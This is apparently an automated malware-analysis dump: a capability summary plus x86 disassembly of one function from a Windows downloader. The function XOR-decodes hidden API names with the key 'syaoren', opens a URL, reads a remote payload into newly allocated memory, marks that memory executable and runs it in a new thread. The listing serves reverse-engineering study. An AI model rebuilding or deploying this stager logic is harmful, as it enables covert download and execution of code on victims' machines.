Function at 0x401050
Capabilities:
Encode data using xor
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 0xc], 0
xor ecx, ecx
mov dword [ebp - 8], 0
mov eax, 0x24924925
mul ecx
mov eax, ecx
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 2
lea edx, [eax*8]
sub edx, eax
mov eax, ecx
sub eax, edx
mov al, byte [eax + str.syaoren]
xor byte [ecx + 0x404080], al
inc ecx
cmp ecx, 0xb
jb 0x401070
push ebx
push esi
push edi
push 0x404080
mov byte [0x40408b], 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
xor esi, esi
mov dword [0x404474], edi
mov eax, 0x24924925
mul esi
mov eax, esi
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 2
lea ecx, [eax*8]
sub ecx, eax
mov eax, esi
sub eax, ecx
mov al, byte [eax + str.syaoren]
xor byte [esi + 0x404058], al
inc esi
cmp esi, 0x13
jb 0x4010c0
mov byte [0x40406b], 0
xor esi, esi
nop word [eax + eax]
mov eax, 0x24924925
mul esi
mov eax, esi
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 2
lea ecx, [eax*8]
sub ecx, eax
mov eax, esi
sub eax, ecx
mov al, byte [eax + str.syaoren]
xor byte [esi + 0x40409c], al
inc esi
cmp esi, 0xd
jb 0x401100
push 0x40409c
push edi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov byte [0x4040a9], 0
call edi
mov dword [0x4044a0], eax
mov edi, 1
mov eax, 2
xor ebx, ebx
sub eax, 0x404104
sub edi, 0x404104
mov dword [ebp - 0x10], eax
mov eax, 3
sub eax, 0x404104
mov dword [ebp - 0x14], eax
mov eax, 0x24924925
lea esi, [edi + 0x404104]
mul ebx
mov eax, ebx
add esi, ebx
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 2
lea ecx, [eax*8]
sub ecx, eax
mov eax, ebx
sub eax, ecx
movzx eax, byte [eax + str.syaoren]
xor byte [ebx + 0x404104], al
mov eax, 0x24924925
mul esi
mov eax, ebx
sub esi, edx
shr esi, 1
add esi, edx
shr esi, 2
lea ecx, [esi*8]
sub ecx, esi
sub eax, ecx
movzx eax, byte [eax + 0x4040ed]
xor byte [ebx + 0x404105], al
mov eax, dword [ebp - 0x10]
lea esi, [eax + 0x404104]
mov eax, 0x24924925
add esi, ebx
mul esi
mov eax, ebx
sub esi, edx
shr esi, 1
add esi, edx
shr esi, 2
lea ecx, [esi*8]
sub ecx, esi
sub eax, ecx
movzx eax, byte [eax + 0x4040ee]
xor byte [ebx + 0x404106], al
mov eax, dword [ebp - 0x14]
lea esi, [eax + 0x404104]
mov eax, 0x24924925
add esi, ebx
mul esi
mov eax, ebx
sub esi, edx
shr esi, 1
add esi, edx
shr esi, 2
lea ecx, [esi*8]
sub ecx, esi
sub eax, ecx
movzx eax, byte [eax + 0x4040ef]
xor byte [ebx + 0x404107], al
add ebx, 4
cmp ebx, 0x10
jb 0x401172
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x404104
push dword [0x404474]
mov byte [0x404114], 0
call edi
push 0
push 0
push 0
push 1
push str.Sy40r3n
mov dword [0x40448c], eax
call dword [0x4044a0]
mov dword [ebp - 0x20], eax
test eax, eax
jne 0x4012bd
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.Failed_to_open_a_connection
push str._____s__Error__d_n
call fcn.00401010
add esp, 0xc
push 0x404058
push dword [0x404474]
call edi
pop edi
pop esi
mov dword [0x404488], eax
xor eax, eax
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00401530
mov esp, ebp
pop ebp
ret
push 0
push 0x80000000
push 0
push 0
push 0x4040d0
push eax
call dword [0x40448c]
mov ebx, eax
mov dword [ebp - 0x1c], ebx
test ebx, ebx
jne 0x40130a
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.Failed_to_open_a_URL
push str._____s__Error__d_n
call fcn.00401010
add esp, 0xc
push 0x404058
push dword [0x404474]
call edi
xor esi, esi
jmp 0x401508
push 4
push 0x3000
push 0x10000
push 0
call dword [0x404494]
mov dword [ebp - 0x10], eax
test eax, eax
jne 0x401333
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.Failed_to_allocate_memory
jmp 0x4012e9
mov eax, 2
mov ebx, 1
sub eax, 0x40406c
xor edi, edi
mov dword [ebp - 0x14], eax
sub ebx, 0x40406c
mov eax, 3
sub eax, 0x40406c
mov dword [ebp - 0x18], eax
nop word [eax + eax]
mov eax, 0x24924925
lea esi, [ebx + 0x40406c]
mul edi
mov eax, edi
add esi, edi
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 2
lea ecx, [eax*8]
sub ecx, eax
mov eax, edi
sub eax, ecx
movzx eax, byte [eax + str.syaoren]
xor byte [edi + 0x40406c], al
mov eax, 0x24924925
mul esi
mov eax, edi
sub esi, edx
shr esi, 1
add esi, edx
shr esi, 2
lea ecx, [esi*8]
sub ecx, esi
sub eax, ecx
movzx eax, byte [eax + 0x4040ed]
xor byte [edi + 0x40406d], al
mov eax, dword [ebp - 0x14]
lea esi, [eax + 0x40406c]
mov eax, 0x24924925
add esi, edi
mul esi
mov eax, edi
sub esi, edx
shr esi, 1
add esi, edx
shr esi, 2
lea ecx, [esi*8]
sub ecx, esi
sub eax, ecx
movzx eax, byte [eax + 0x4040ee]
xor byte [edi + 0x40406e], al
mov eax, dword [ebp - 0x18]
lea esi, [eax + 0x40406c]
mov eax, 0x24924925
add esi, edi
mul esi
mov eax, edi
sub esi, edx
shr esi, 1
add esi, edx
shr esi, 2
lea ecx, [esi*8]
sub ecx, esi
sub eax, ecx
movzx eax, byte [eax + 0x4040ef]
xor byte [edi + 0x40406f], al
add edi, 4
cmp edi, 0x10
jb 0x401360
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x40406c
push dword [0x404474]
mov byte [0x40407c], 0
call edi
mov ecx, dword [ebp - 0x10]
lea edx, [ebp - 0xc]
mov ebx, dword [ebp - 0x1c]
mov esi, ecx
push edx
push 0x1000
push ecx
push ebx
mov dword [0x404498], eax
call eax
test eax, eax
je 0x40148e
nop dword [eax]
mov eax, dword [ebp - 0xc]
test eax, eax
je 0x40148e
add esi, eax
lea eax, [ebp - 0xc]
push eax
push 0x1000
push esi
push ebx
call dword [0x404498]
test eax, eax
jne 0x401470
mov esi, dword [ebp - 0x10]
lea eax, [ebp - 8]
push eax
push 0x20
push 0x10000
push esi
call dword [0x4044a4]
test eax, eax
jne 0x4014b8
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.Failed_to_set_new_permission
jmp 0x4012e9
push 0
push 0
push 0
push esi
push 0
push 0
call dword [0x404490]
mov esi, eax
test esi, esi
jne 0x4014e0
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.Failed_to_create_thread_to_execute_payload
jmp 0x4012e9
push str.___Waiting_for_thread_return..._n
call fcn.00401010
add esp, 4
push 0xffffffffffffffff
push esi
call dword [0x40449c]
push 0x404058
push dword [0x404474]
mov esi, 1
call edi
push dword [ebp - 0x20]
mov dword [0x404488], eax
call eax
test ebx, ebx
je 0x40151d
push ebx
call dword [0x404488]
mov ecx, dword [ebp - 4]
mov eax, esi
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00401530
mov esp, ebp
pop ebp
ret